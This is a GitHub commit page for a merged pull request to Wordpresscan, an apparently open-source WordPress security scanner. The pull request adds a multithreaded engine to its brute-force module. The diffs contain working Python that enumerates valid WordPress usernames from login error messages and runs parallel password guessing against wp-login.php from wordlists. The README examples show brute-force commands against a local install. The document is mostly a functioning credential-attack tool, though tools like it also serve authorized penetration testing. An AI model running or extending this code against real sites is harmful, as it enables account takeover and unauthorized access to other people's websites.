Merge pull request #19 from sokaRepo/master - Add Thread Engine for bruteforce

Add Thread Engine for bruteforce
pull/17/merge
Swissky 2017-10-14 23:14:09 +02:00 committed by GitHub
commit 79daa63cbc
5 changed files with 144 additions and 40 deletions

View File

@ -33,18 +33,23 @@ python main.py -u "http://localhost/wordpress" --update --random-agent
```
Example 2 : Basic bruteforce (option --brute, option --nocheck)
* bruteforce customs usernames
```
python main.py -u "http://127.0.0.1/wordpress/" --brute --usernames "admin,guest" --passwords-list fuzz/wordlist.lst
```
* bruteforce with usernames list
```
python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst
```
* bruteforce detected users
```
python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wordlist.lst
```
python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst
python main.py -u "http://127.0.0.1/wordpress/" --brute admin
--brute file.lst : Will bruteforce every username and their password
--brute username : Will bruteforce the password for the given username
it will also try to bruteforce the password for the detected users.
```
╭─ 👻 swissky@crashlab: ~/Github/Wordpresscan master*
╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst --nocheck
╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst --nocheck
_______________________________________________________________
_ _ _
| | | | | |

View File

@ -8,66 +8,109 @@ import urllib
from core import *
from wordpress import *
from multiprocessing import Process, Pool
from thread_engine import ThreadEngine
class Brute_Engine:
def __init__(self, wordpress, brute):
if brute != None:
def __init__(self, wordpress, brute, usernames, users_list, passwords_list):
if brute:
if usernames:
users_to_brute = usernames.split(',')
for user in users_to_brute:
user = user.replace(' ', '')
print notice("Bruteforcing " + user)
self.bruteforcing_pass(wordpress, user, passwords_list)
# Bruteforce username
if os.path.isfile(brute):
self.bruteforcing_user(wordpress)
# Bruteforce with usernames list
elif users_list:
for file_list in [users_list, passwords_list]:
if not os.path.isfile(file_list):
print critical("Can't found %s file" % file_list)
exit()
# launch users & passwords bruteforce
self.bruteforcing_user(wordpress, users_list, passwords_list)
# if users detected, bruteforce them
else:
if len(wordpress.users) != 0:
print notice("Bruteforcing detected users")
if not os.path.isfile(passwords_list):
print critical("Can't found %s file" % passwords_list)
exit()
print notice("Bruteforcing detected users: ")
for user in wordpress.users:
print info("User found "+ user['slug'])
self.bruteforcing_pass(wordpress, user['slug'])
self.bruteforcing_pass(wordpress, user['slug'], passwords_list)
else:
print notice("Bruteforcing " + brute)
print info("User found "+ brute)
self.bruteforcing_pass(wordpress, brute)
# Exit the bruteforce
exit()
"""
name : bruteforcing_user(self, wordpress)
description :
"""
def bruteforcing_user(self, wordpress):
def bruteforcing_user(self, wordpress, users_list, passwords_list):
print notice("Bruteforcing all users")
with open('fuzz/wordlist.lst') as data_file:
with open(users_list) as data_file:
data = data_file.readlines()
thread_engine = ThreadEngine(wordpress.max_threads)
users_found = []
for user in data:
user = user.strip()
data = {"log":user, "pwd":"wordpresscan"}
if not "Invalid username" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text:
print info("User found "+ user)
self.bruteforcing_pass(wordpress, user)
thread_engine.new_task(self.check_user, (user, users_found, wordpress))
thread_engine.wait()
for user in users_found:
self.bruteforcing_pass(wordpress, user, passwords_list)
def check_user(self, user, users_found, wordpress):
data = {"log":user, "pwd":"wordpresscan"}
while True:
try:
html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
except:
print critical('ConnectionError in thread, retry...')
continue
break
# valid login -> the submited user is printed by WP
if '<div id="login_error">' in html and '<strong>%s</strong>' % user in html:
print info("User found "+ user)
users_found.append(user)
"""
name : bruteforcing_pass(self, wordpress)
description :
"""
def bruteforcing_pass(self, wordpress, user):
def bruteforcing_pass(self, wordpress, user, passwords_list):
print info("Starting passwords bruteforce for " + user)
with open('fuzz/wordlist.lst') as data_file:
with open(passwords_list) as data_file:
data = data_file.readlines()
size = len(data)
thread_engine = ThreadEngine(wordpress.max_threads)
found = [False]
for index, pwd in enumerate(data):
if found[0]: break
pwd = pwd.strip()
data = {"log": user, "pwd": pwd}
percent = int(float(index)/(size)*100)
thread_engine.new_task(self.check_pass, (user, pwd, wordpress, found))
print 'Bruteforcing - {}{}\r'.format( percent*"", (100-percent)*'' ) ,
# print 'Bruteforcing - {}{}\r'.format( percent*"▓", (100-percent)*'░' )
thread_engine.wait()
if not "The password you entered" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text:
print warning("Password found for {} : {}{}".format(user,pwd, ' '*100))
break
def check_pass(self, user, pwd, wordpress, found):
data = {"log": user, "pwd": pwd}
while True:
try:
html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text
except:
print critical('ConnectionError in thread, retry...')
continue
break
if not '<div id="login_error">' in html:
print warning("Password found for {} : {}{}".format(user,pwd, ' '*100))
found[0] = True

51
engine/thread_engine.py Normal file
View File

@ -0,0 +1,51 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-
from threading import Thread
# from time import sleep
from core import critical, info
class ThreadEngine(object):
def __init__(self, max_threads):
if max_threads < 1:
print critical('Threads number must be > 0')
exit()
self.max_threads = max_threads
self.threads = []
print info('Start %d threads ...' % self.max_threads)
def new_task(self, task, args):
""" Try to launch the new task,
try again if thread limit exception raised
"""
while True:
try:
self.launch_task(task, args)
except ThreadLimitError:
# sleep(0.1)
continue
break
def launch_task(self, task, args):
""" Lanch task in a new thread """
self.clean_threads()
if len(self.threads) < self.max_threads:
t = Thread(target=task, args=args)
self.threads.append(t)
t.start()
else:
raise ThreadLimitError("Reached threads limit")
def clean_threads(self):
""" Remove ended threads """
for thread in self.threads:
if not thread.isAlive():
self.threads.remove(thread)
def wait(self):
""" Wait for threads end """
for thread in self.threads:
thread.join()
class ThreadLimitError(Exception):
pass

View File

@ -15,10 +15,11 @@ class Wordpress:
agent = False
users = {}
def __init__(self, url, user_agent, nocheck):
def __init__(self, url, user_agent, nocheck, max_threads):
print info("URL: %s" % url)
self.url = url
self.agent = user_agent
self.max_threads = int(max_threads)
self.random_agent()
self.clean_url()
self.is_up_and_installed()

10
main.py
View File

@ -29,9 +29,13 @@ if __name__ == "__main__":
parser.add_argument('--update', action ='store_const', const='update', dest='update', help="Update the database")
parser.add_argument('--aggressive', action ='store_const', const='aggressive', dest='aggressive', default=False, help="Aggressive scan for plugins/themes")
parser.add_argument('--fuzz', action ='store_const', const='fuzz', dest='fuzz', default=False, help="Fuzz the files")
parser.add_argument('--brute', action ='store', dest='brute', default=None, help="Bruteforce users and passwords")
parser.add_argument('--brute', action ='store_const', const='brute', dest='brute', default=False, help="Bruteforce users and passwords")
parser.add_argument('--nocheck', action ='store_const', const='nocheck',dest='nocheck', default=False, help="Check for a Wordpress instance")
parser.add_argument('--random-agent', action ='store_const', const='random_agent', dest='random_agent', default=False, help="Random User-Agent")
parser.add_argument('--threads', action ='store', dest='max_threads', default=1, help="Number of threads to use")
parser.add_argument('--usernames', action ='store', dest='usernames', default='', help="Usernames to bruteforce")
parser.add_argument('--users-list', action ='store', dest='users_list', default=None, help="Users list for bruteforce")
parser.add_argument('--passwords-list', action ='store', dest='passwords_list', default=None, help="Passwords list for bruteforce")
results = parser.parse_args()
# Check wordpress url
@ -45,10 +49,10 @@ if __name__ == "__main__":
database_update()
# Build a new wordpress object
wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck)
wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck, results.max_threads)
# Launch bruteforce
Brute_Engine(wp, results.brute)
Brute_Engine(wp, results.brute, results.usernames, results.users_list, results.passwords_list)
# Launch fuzzing
Fuzz_Engine(wp, results.fuzz)